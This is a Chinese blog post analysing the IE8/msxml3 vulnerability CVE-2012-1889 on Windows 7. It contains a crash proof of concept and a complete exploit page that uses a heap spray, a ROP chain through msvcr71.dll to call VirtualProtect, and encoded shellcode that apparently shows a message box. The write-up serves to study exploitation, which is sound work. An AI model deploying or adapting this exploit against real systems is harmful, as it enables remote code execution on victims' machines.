Internet Explorer（CVE-2012-1889）暴雷漏洞分析报告【Win7&IE8版】

最新推荐文章于 2022-10-28 21:25:03 发布

capnik

最新推荐文章于 2022-10-28 21:25:03 发布

阅读量631

点赞数

分类专栏：漏洞

本文链接：https://blog.csdn.net/capnik/article/details/58620700

版权

漏洞专栏收录该内容

6 篇文章 0 订阅

订阅专栏

软件名称：Internet Explorer

软件版本：8.0

漏洞模块：msxml3.dll

模块版本：8.90.1101.0

编译日期：2008年4月14日

操作环境：Win7 x86 sp1/JRE 6.0

漏洞编号：CVE-2012-1889(MS12-043)

危害等级：超危

漏洞类型：缓冲区溢出

威胁类型：远程

1. 软件简介
Internet Explorer，是微软公司推出的一款网页浏览器。原称Microsoft Internet Explorer(6版本以前)和Windows Internet Explorer(7、8、9、10、11版本)，简称IE。在IE7以前，中文直译为“网络探路者”，但在IE7以后官方便直接俗称"IE浏览器"。
msxml指微软的xml语言解析器，用来解释xml语言的。就好像html文本下载到本地，浏览器会检查html的语法，解释html文本然后显示出来一样。要使用xml文件就一定要用到xml parser。

2. 漏洞成因
Microsoft XML Core Services (MSXML)是一组服务，可用JScript、VBScript、Microsoft开发工具编写的应用构建基于XML的Windows-native应用。
Microsoft XML Core Services 处理内存中的对象的方式中存在一个远程执行代码漏洞。如果用户查看包含特制内容的网站，则该漏洞可能允许远程执行代码。Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞，该漏洞源于访问未初始化内存位置。

3. 利用过程
远程攻击者可利用该漏洞借助特制的web站点，执行任意代码或导致拒绝服务（内存破坏）。

4. PoC
使用以下代码保存为html文件，在windbg条件下打开IE浏览器，并运行这个html文件，IE浏览器崩溃。

示例代码：

<html>
<head>
    <title>CVE 2012-1889 PoC v2 By:15PB.Com</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
    <script>
	    // 获取名为15PB的对象，并将其保存到名为obj15PB实例中
        var obj15PB = document.getElementById('15PB').object;
		// 初始化数据变量srcImgPath的内容（unescape()是解码函数）
        var srcImgPath = unescape("\u0C0C\u0C0C");
		// 构建一个长度为0x1000[4096*2]字节的数据
        while (srcImgPath.length < 0x1000)
            srcImgPath += srcImgPath;
		// 构建一个长度为0x1000-10[4088*2]的数据，起始内容为“\\15PB_Com”
        srcImgPath = "\\\\15PB_Com" + srcImgPath;
        srcImgPath = srcImgPath.substr(0, 0x1000-10);
        // 创建一个图片元素，并将图片源路径设为srcImgPath
        var emtPic = document.createElement("img");
        emtPic.src = srcImgPath;
        emtPic.nameProp;       // 返回当前图片文件名（载入路径）
        obj15PB.definition(0); // 定义对象（触发溢出）
    </script>
</body>
</html>

点击是

5.Exploit

<html>
<head>
    <title>Step2_Accurate_Heap Spray By:15PB.Com</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
    <script>
// 1.  生成Padding
        var cPadding = unescape("\u0C0C\u0C0C");
        while (cPadding.length < 0x1000)
            cPadding += cPadding;
        cPadding = cPadding.substring(0, 0x5F6);
// 2.  制作ROP
        var cROP = unescape( 
		         "\u1124\u7c34" + //0c0c0c0c  //ret	Addr
		         "\u10fd\u7c34" + //0c0c0c10  //pop ebp Addr
           	     "\u8b05\u7c34" + //0c0c0c14  //xchg eax,esp # ret Addr
          	     "\u1124\u7c34" + //0c0c0c18  //ret	Addr
          	     "\u1124\u7c34" + //0c0c0c1c  //ret	Addr
         	     "\u1124\u7c34" + //0c0c0c20  //ret	Addr
           	     "\u1124\u7c34" + //0c0c0c24  //ret	Addr


     //关键ROP
                 "\u1123\u7c34" + //0c0c0c28  //POP EDI # RETN
		         "\u1124\u7c34" + //0c0c0c2c  //RETN (ROP NOP)
           	     "\u1920\u7c34" + //0c0c0c30  //POP ESI # RETN
          	     "\u15a2\u7c34" + //0c0c0c34  //JMP [EAX]
          	     "\u10fd\u7c34" + //0c0c0c38  //POP EBP #RETN
         	     "\u0c64\u0c0c" + //0c0c0c3c  //RETN TO PAYLOAD
           	     "\u28b8\u7c34" + //0c0c0c40  //POP EBX #RETN
           	     "\u1000\u0000" + //0c0c0c44  //dwSize         = 0x1000
         	     "\u39fa\u7c34" + //0c0c0c48  //POP EDX #RETN
		         "\u0040\u0000" + //0c0c0c4c  //NewProtect  = 0x40
        	     "\u10c3\u7c34" + //0c0c0c50  //POP ECX #RETN
		         "\ucfff\u7c38" + //0c0c0c54  //OldProtect
         	     "\u4cc1\u7c34" + //0c0c0c58  //POP EAX #RETN
         	     "\uA151\u7C37" + //0c0c0c5c  //IAT->VirtualProtect Addr //40-ef=51
         	     "\u8c81\u7c37"  //0c0c0c60  //PUSHAD # ADD AL,0ef #RETN
		     ); 


      
// 3.  准备好Payload（unescape()是解码函数）
        var cPayload = unescape(
        "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +
        "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +
        "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +
        "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +
        "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +
        "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +
        "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +
        "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +
        "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +
        "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +
        "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +
        "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +
        "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +
        "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +
        "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +
        "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +
        "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +
        "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +
        "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +
        "\uC25D\u0010\u0000");
// 4.  准备好FillData
        // 4.1 计算填充滑板指令数据的大小（都除2是因为length返回的是Unicode的字符个数）
        var nSlideSize = 0x1000;           // 一个滑板指令块的大小（4KB）
        var nPadSize   = cPadding.length;  // Padding大小
		var nR2LSize   = cROP.length; // Ret2Libc大小
        var nPySize    = cPayload.length;  // Shellcode大小
        var nFillSize  = nSlideSize-nPadSize-nR2LSize-nPySize;
        // 4.2 制作好一块填充数据
        var cFillData  = unescape("\u0C0C\u0C0C");
        while (cFillData.length < nSlideSize)
            cFillData += cFillData;
        cFillData = cFillData.substring(0, nFillSize);
		// 5.  构建滑板指令数据块
		var nBlockSize = 0x40000;  // 256KB
        var cBlock     = cPadding + cROP + cPayload + cFillData;
        while (cBlock.length < nBlockSize)
            cBlock += cBlock;
        cBlock = cBlock.substring(2, nBlockSize-0x21);
// 6.  填充200MB的内存区域（申请800块256KB大小的滑板数据区），试图覆盖0x0C0C0C0C
        //     区域，每块滑板数据均由 滑板数据+Shellcode 组成，这样只要任意一块滑板数据
        //     正好落在0x0C0C0C0C处，大量无用的“OR AL,0C”就会将执行流程引到滑板数据区
        //     后面的Shellcode处，进而执行Shellcode。
        var cSlideData = new Array();
        for (var i = 0; i < 800; i++)
            cSlideData[i] = cBlock.substr(0, cBlock.length);
// 7.  触发CVE 2012-1889漏洞
        // 7.1 获取名为15PB的XML对象，并将其保存到名为obj15PB实例中
        var obj15PB = document.getElementById('15PB').object;
        // 7.2 构建一个长度为0x1000-10=8182，起始内容为“\\15PB_Com”字节的数据
        var srcImgPath = unescape("\u0C0C\u0C08");
        while (srcImgPath.length < 0x1000)
            srcImgPath += srcImgPath;
        srcImgPath = "\\\\15PB_Com" + srcImgPath;
        srcImgPath = srcImgPath.substr(0, 0x1000-10);
        // 7.3 创建一个图片元素，并将图片源路径设为srcImgPath，并返回当前图片文件名
        var emtPic = document.createElement("img");
        emtPic.src = srcImgPath;
        emtPic.nameProp;
        // 7.4 定义对象obj15PB（触发溢出）
        obj15PB.definition(0);
    </script></body></html>

6.利用原理
执行Exploit网页后在msxml3.dll中有以下汇编代码:

mov eax,[ebp-14h]    //eax=0c0c0c08h
……
mov esi,eax 	     //esi=0c0c0c08h
……
mov ecx,[eax]	     //ecx=[0x0c0c0c08] => 0c0c0c0ch
……
call [ecx+18h] 	     //call [0x0c0c0c24]
……
mov eax,[esi]	     //eax=[0x0c0c0c08] => 0c0c0c0ch
……
call [eax+8h]	     //call [0x0c0c0c14]

因为win7下有ASLR，我们特意找到java里面的一个模块msvcr71.dll没有开启ASLR，可以利用模块中的IAT中的VirtualProtect完成利用。那么根据之前的汇编代码,可以构建以下ROP:

0x0c0c0c00    0c0c0c0ch
0x0c0c0c04    0c0c0c0ch
0x0c0c0c08    0c0c0c0ch
0x0c0c0c0C    0c0c0c0ch
0x0c0c0c10    retn Addr               <-esp  Step_3
0x0c0c0c14    pop exx # retn Addr            Step_4(直接执行下下一步)
0x0c0c0c18    xchg eax,esp # retn Addr       Step_2(关键步骤)
0x0c0c0c1C    retn Addr                      Step_5
0x0c0c0c20    retn Addr        	             Step_6
0x0c0c0c24    retn Addr 	                 Step_1 / Step_7
0x0c0c0c28    POP EDI # RETN
0x0c0c0c2c    RETN (ROP NOP)
0x0c0c0c30    POP ESI # RETN
0x0c0c0c34    JMP [EAX]	                     //跳转IAT
0x0c0c0c38    POP EBP #RETN
0x0c0c0c3c    retn toPayLoad                 //构建VirtualProtect的返回地址
0x0c0c0c40    POP EBX #RETN
0x0c0c0c44    dwSize 	= 0x1000
0x0c0c0c48    POP EDX #RETN
0x0c0c0c4c    NewProtect  = 0x40
0x0c0c0c50    POP ECX #RETN
0x0c0c0c54    OldProtect
0x0c0c0c58    POP EAX #RETN
0x0c0c0c5c    IAT->VirtualProtect Addr        //AL-0xef    //这里要保证eax是正确的，所以要让al减去ef
0x0c0c0c60    PUSHAD # ADD AL,0ef #RETN       //刚好esp指向0x0c0c0c64，构建为VirtualProtect的第一个参数lpAddress
往下面就是PayLoad……

7.结语
触发漏洞的代码是JavaScript中最后一句，即后面obj15PB.definition(0)。definition是DOM对象的一个属性，而且是只读的属性，不可以把属性当作函数来使用并往里面传递参数。

附:
汇编中PUSHAD的压入顺序是EAX、ECX、EDX、EBX、原始 ESP、EBP、ESI 及 EDI.